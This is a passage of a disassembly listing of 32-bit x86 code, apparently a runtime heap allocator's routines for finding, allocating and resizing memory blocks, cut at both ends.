[ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D670 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DD398 cmp eax, dword_4DD394 jbe short loc_41EA4E sub [ebp+arg_0], 14h loc_41EA4E: ; CODE XREF: sub_41E742+306j mov eax, dword_4DD39C mov dword_4DD390, eax loc_41EA58: ; CODE XREF: sub_41E742+234j ; sub_41E742+2ABj mov eax, [ebp+arg_0] mov dword_4DD38C, edi mov dword_4DD394, eax loc_41EA66: ; CODE XREF: sub_41E742+38j ; sub_41E742+227j pop edi pop esi pop ebx leave retn sub_41E742 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA6B proc near ; CODE XREF: sub_41BBE2+77p ; sub_41BEF3+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DD398 mov edx, dword_4DD39C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41EAAB or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41EABB ; --------------------------------------------------------------------------- loc_41EAAB: ; CODE XREF: sub_41EA6B+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41EABB: ; CODE XREF: sub_41EA6B+3Ej mov eax, dword_4DD390 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41EAE2 loc_41EAC9: ; CODE XREF: sub_41EA6B+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EAE2 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41EAC9 loc_41EAE2: ; CODE XREF: sub_41EA6B+5Cj ; sub_41EA6B+6Aj cmp ebx, [ebp+var_4] jnz short loc_41EB60 mov ebx, edx loc_41EAE9: ; CODE XREF: sub_41EA6B+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB05 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EB03 add ebx, 14h jmp short loc_41EAE9 ; --------------------------------------------------------------------------- loc_41EB03: ; CODE XREF: sub_41EA6B+91j cmp ebx, eax loc_41EB05: ; CODE XREF: sub_41EA6B+83j jnz short loc_41EB60 loc_41EB07: ; CODE XREF: sub_41EA6B+ADj cmp ebx, [ebp+var_4] jnb short loc_41EB1D cmp dword ptr [ebx+8], 0 jnz short loc_41EB1A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41EB07 ; --------------------------------------------------------------------------- loc_41EB1A: ; CODE XREF: sub_41EA6B+A5j cmp ebx, [ebp+var_4] loc_41EB1D: ; CODE XREF: sub_41EA6B+9Fj jnz short loc_41EB45 mov ebx, edx loc_41EB21: ; CODE XREF: sub_41EA6B+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB35 cmp dword ptr [ebx+8], 0 jnz short loc_41EB33 add ebx, 14h jmp short loc_41EB21 ; --------------------------------------------------------------------------- loc_41EB33: ; CODE XREF: sub_41EA6B+C1j cmp ebx, eax loc_41EB35: ; CODE XREF: sub_41EA6B+BBj jnz short loc_41EB45 call sub_41ED74 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41EB59 loc_41EB45: ; CODE XREF: sub_41EA6B:loc_41EB1Dj ; sub_41EA6B:loc_41EB35j push ebx call sub_41EE25 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EB60 loc_41EB59: ; CODE XREF: sub_41EA6B+D8j xor eax, eax jmp loc_41ED6F ; --------------------------------------------------------------------------- loc_41EB60: ; CODE XREF: sub_41EA6B+7Aj ; sub_41EA6B:loc_41EB05j ... mov dword_4DD390, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41EB87 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EBBE loc_41EB87: ; CODE XREF: sub_41EA6B+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41EBBB loc_41EBA4: ; CODE XREF: sub_41EA6B+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41EBA4 loc_41EBBB: ; CODE XREF: sub_41EA6B+137j mov edx, [ebp+var_4] loc_41EBBE: ; CODE XREF: sub_41EA6B+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41EBE7 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41EBE7: ; CODE XREF: sub_41EA6B+16Dj ; sub_41EA6B+183j test ecx, ecx jl short loc_41EBF0 shl ecx, 1 inc edi jmp short loc_41EBE7 ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EA6B+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41EC0D push 3Fh pop esi loc_41EC0D: ; CODE XREF: sub_41EA6B+19Dj cmp esi, edi jz loc_41ED22 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EC7E cmp edi, 20h jge short loc_41EC4D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC4D: ; CODE XREF: sub_41EA6B+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC7B: ; CODE XREF: sub_41EA6B+1D6j ; sub_41EA6B+203j mov ebx, [ebp+arg_0] loc_41EC7E: ; CODE XREF: sub_41EA6B+1B0j ; sub_41EA6B+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41ED2E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41ED1F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41ECF0 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ECDE mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41ECDE: ; CODE XREF: sub_41EA6B+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41ED1F ; --------------------------------------------------------------------------- loc_41ECF0: ; CODE XREF: sub_41EA6B+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ED09 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41ED09: ; CODE XREF: sub_41EA6B+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41ED1F: ; CODE XREF: sub_41EA6B+24Ej ; sub_41EA6B+283j mov ecx, [ebp+var_8] loc_41ED22: ; CODE XREF: sub_41EA6B+1A4j test ecx, ecx jz short loc_41ED31 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41ED31 ; --------------------------------------------------------------------------- loc_41ED2E: ; CODE XREF: sub_41EA6B+229j mov ecx, [ebp+var_8] loc_41ED31: ; CODE XREF: sub_41EA6B+2B9j ; sub_41EA6B+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41ED67 cmp ebx, dword_4DD394 jnz short loc_41ED67 mov ecx, [ebp+var_4] cmp ecx, dword_4DD38C jnz short loc_41ED67 and dword_4DD394, 0 loc_41ED67: ; CODE XREF: sub_41EA6B+2E0j ; sub_41EA6B+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41ED6F: ; CODE XREF: sub_41EA6B+F0j pop edi pop esi pop ebx leave retn sub_41EA6B endp ; =============== S U B R O U T I N E ======================================= sub_41ED74 proc near ; CODE XREF: sub_41EA6B+CCp mov eax, dword_4DD398 mov ecx, dword_4DD388 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41EDB7 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DD39C push edi push dword_4DD3A4 call near ptr 2860000h nop cmp eax, edi jz short loc_41EE07 add dword_4DD388, 10h mov dword_4DD39C, eax mov eax, dword_4DD398 loc_41EDB7: ; CODE XREF: sub_41ED74+11j mov ecx, dword_4DD39C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DD3A4 lea esi, [ecx+eax*4] call near ptr 27C0000h nop cmp eax, edi mov [esi+10h], eax jz short loc_41EE07 push 4 push 2000h push 100000h push edi nop call near ptr 26605F1h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41EE0B push dword ptr [esi+10h] push edi push dword_4DD3A4 nop call near ptr 27B0000h loc_41EE07: ; CODE XREF: sub_41ED74+30j ; sub_41ED74+67j xor eax, eax jmp short loc_41EE22 ; --------------------------------------------------------------------------- loc_41EE0B: ; CODE XREF: sub_41ED74+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DD398 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41EE22: ; CODE XREF: sub_41ED74+95j pop edi pop esi retn sub_41ED74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE25 proc near ; CODE XREF: sub_41EA6B+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41EE37: ; CODE XREF: sub_41EE25+19j test eax, eax jl short loc_41EE40 shl eax, 1 inc ebx jmp short loc_41EE37 ; --------------------------------------------------------------------------- loc_41EE40: ; CODE XREF: sub_41EE25+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41EE55: ; CODE XREF: sub_41EE25+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EE55 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 26605F1h test eax, eax jnz short loc_41EE88 or eax, 0FFFFFFFFh jmp loc_41EF1B ; --------------------------------------------------------------------------- loc_41EE88: ; CODE XREF: sub_41EE25+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41EECE lea eax, [edi+10h] loc_41EE95: ; CODE XREF: sub_41EE25+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41EE95 loc_41EECE: ; CODE XREF: sub_41EE25+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41EF0B or [eax+4], edi loc_41EF0B: ; CODE XREF: sub_41EE25+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41EF1B: ; CODE XREF: sub_41EE25+5Ej pop edi pop esi pop ebx leave retn sub_41EE25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF20 proc near ; CODE XREF: sub_41BBE2+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41F0CE test bl, 1 jnz loc_41F0C7 add ebx, ecx cmp esi, ebx jg loc_41F0C7 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41EF97 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41EF97: ; CODE XREF: sub_41EF20+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41EFE7 cmp ecx, 20h jnb short loc_41EFC3 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EFE7 ; --------------------------------------------------------------------------- loc_41EFC3: ; CODE XREF: sub_41EF20+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EFE7: ; CODE XREF: sub_41EF20+7Dj ; sub_41EF20+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41F0B5 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41F021 push 3Fh pop edi loc_41F021: ; CODE XREF: sub_41EF20+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41F0A3 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41F07A cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F06D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41F06D: ; CODE XREF: sub_41EF20+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41F09F ; --------------------------------------------------------------------------- loc_41F07A: ; CODE XREF: sub_41EF20+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F090 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41F090: ; CODE XREF: sub_41EF20+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41F09F: ; CODE XREF: sub_41EF20+158j shr edx, cl or [eax], edx loc_41F0A3: ; CODE XREF: sub_41EF20+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41F0B8 ; --------------------------------------------------------------------------- loc_41F0B5: ; CODE XREF: sub_41EF20+E5j mov edx, [ebp+arg_4] loc_41F0B8: ; CODE XREF: sub_41EF20+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41F20E ; --------------------------------------------------------------------------- loc_41F0C7: ; CODE XREF: sub_41EF20+52j ; sub_41EF20+5Cj xor eax, eax jmp loc_41F211 ; --------------------------------------------------------------------------- loc_41F0CE: ; CODE XREF: sub_41EF20+49j jge loc_41F20E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41F0F9 push 3Fh pop esi loc_41F0F9: ; CODE XREF: sub_41EF20+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41F188 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F112 push 3Fh pop esi loc_41F112: ; CODE XREF: sub_41EF20+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41F161 cmp esi, 20h jnb short loc_41F13D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41F15E ; --------------------------------------------------------------------------- loc_41F13D: ; CODE XREF: sub_41EF20+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41F15E: ; CODE XREF: sub_41EF20+214j ; sub_41EF20+21Bj ... mov ebx, [ebp+arg_4] loc_41F161: ; CODE XREF: sub_41EF20+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F188 push 3Fh pop esi loc_41F188: ; CODE XREF: sub_41EF20+1DDj ; sub_41EF20+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41F205 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41F1DC cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1CF mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41F1CF: ; CODE XREF: sub_41EF20+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41F201 ; --------------------------------------------------------------------------- loc_41F1DC: ; CODE XREF: sub_41EF20+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1F2 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41F1F2: ; CODE XREF: sub_41EF20+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41F201: ; CODE XREF: sub_41EF20+2BAj shr edx, cl or [eax], edx loc_41F205: ; CODE XREF: sub_41EF20+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41F20E: ; CODE XREF: sub_41EF20+1A2j ; sub_41EF20:loc_41F0CEj push 1 pop eax loc_41F211: ; CODE XREF: sub_41EF20+1A9j pop edi pop esi pop ebx leave retn sub_41EF20 endp ; =============== S U B R O U T I N E ======================================= sub_41F216 proc near ; CODE XREF: sub_41F50E:loc_41F6DDp cmp dword_43AE70, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41F22A mov esi, offset off_43AE60 jmp short loc_41F247 ; --------------------------------------------------------------------------- loc_41F22A: ; CODE XREF: sub_41F216+Bj push 2020h push 0 push dword_4DD3A4 nop call near ptr 27C0000h mov esi, eax test esi, esi jz loc_41F353 loc_41F247: ; CODE XREF: sub_41F216+12j mov ebp, dword_427064 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41F33C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41F32E mov eax, offset off_43AE60 cmp esi, eax jnz short loc_41F2A6 cmp off_43AE60, 0 jnz short loc_41F296 mov off_43AE60, eax loc_41F296: ; CODE XREF: sub_41F216+79j cmp off_43AE64, 0 jnz short loc_41F2BB mov off_43AE64, eax jmp short loc_41F2BB ; --------------------------------------------------------------------------- loc_41F2A6: ; CODE XREF: sub_41F216+70j mov [esi], eax mov eax, off_43AE64 mov [esi+4], eax mov off_43AE64, esi mov eax, [esi+4] mov [eax], esi loc_41F2BB: ; CODE XREF: sub_41F216+87j ; sub_41F216+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41F2DD: ; CODE XREF: sub_41F216+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41F2DD push ebx push 0 push edi call sub_41BF70 add esp, 0Ch loc_41F306: ; CODE XREF: sub_41F216+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41F32A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41F306 ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F216+F7j mov eax, esi jmp short loc_41F355 ; --------------------------------------------------------------------------- loc_41F32E: ; CODE XREF: sub_41F216+63j push 8000h push 0 push edi call near ptr 2660763h nop loc_41F33C: ; CODE XREF: sub_41F216+4Bj cmp esi, offset off_43AE60 jz short loc_41F353 push esi push 0 push dword_4DD3A4 nop call near ptr 27B0000h loc_41F353: ; CODE XREF: sub_41F216+2Bj ; sub_41F216+12Cj xor eax, eax loc_41F355: ; CODE XREF: sub_41F216+116j pop edi pop esi pop ebp pop ebx retn sub_41F216 endp ; =============== S U B R O U T I N E ======================================= sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 2660763h cmp off_43CE80, esi jnz short loc_41F37F mov eax, [esi+4] mov off_43CE80, eax loc_41F37F: ; CODE XREF: sub_41F35A+1Bj cmp esi, offset off_43AE60 jz short loc_41F3A7 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DD3A4 nop call near ptr 27B0000h pop esi retn ; --------------------------------------------------------------------------- loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj or dword_43AE70, 0FFFFFFFFh pop esi retn sub_41F35A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43AE64 push edi loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41F45B and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41F3D6: ; CODE XREF: sub_41F3B0+72j cmp dword ptr [edi], 0F0h jnz short loc_41F417 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 2660763h test eax, eax jz short loc_41F417 or dword ptr [edi], 0FFFFFFFFh dec dword_4DBE50 mov eax, [esi+0Ch] test eax, eax jz short loc_41F40C cmp eax, edi jbe short loc_41F40F loc_41F40C: ; CODE XREF: sub_41F3B0+56j mov [esi+0Ch], edi loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41F424 loc_41F417: ; CODE XREF: sub_41F3B0+2Cj ; sub_41F3B0+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41F3D6 loc_41F424: ; CODE XREF: sub_41F3B0+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41F45B cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41F45B push 1 lea eax, [ecx+20h] pop edx loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41F44C inc edx add eax, 8 cmp edx, 400h jl short loc_41F43B loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej cmp edx, 400h jnz short loc_41F45B push ecx call sub_41F35A pop ecx loc_41F45B: ; CODE XREF: sub_41F3B0+11j ; sub_41F3B0+7Dj ... cmp esi, off_43AE64 jz short loc_41F46D cmp [ebp+arg_0], 0 jg loc_41F3BD loc_41F46D: ; CODE XREF: sub_41F3B0+B1j pop edi pop esi pop ebx leave retn sub_41F3B0 endp ; =============== S U B R O U T I N E ======================================= sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap ; sub_41BBE2+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43AE60 push esi mov ecx, edx loc_41F47E: ; CODE XREF: sub_41F472+1Cj cmp eax, [ecx+10h] jbe short loc_41F488 cmp eax, [ecx+14h] jb short loc_41F490 loc_41F488: ; CODE XREF: sub_41F472+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41F4C5 jmp short loc_41F47E ; --------------------------------------------------------------------------- loc_41F490: ; CODE XREF: sub_41F472+14j test al, 0Fh jnz short loc_41F4C5 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41F4C5 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41F4C5: ; CODE XREF: sub_41F472+1Aj ; sub_41F472+20j ... xor eax, eax pop esi retn sub_41F472 endp ; =============== S U B R O U T I N E ======================================= sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp ; sub_41BBE2+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41F50D inc dword_4DBE50 cmp dword_4DBE50, 20h jnz short locret_41F50D push 10h call sub_41F3B0 pop ecx locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj ; sub_41F4C9+3Aj retn sub_41F4C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp ; sub_41BEF3+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43CE80 push edi loc_41F51C: ; CODE XREF: sub_41F50E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41F5C7 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx 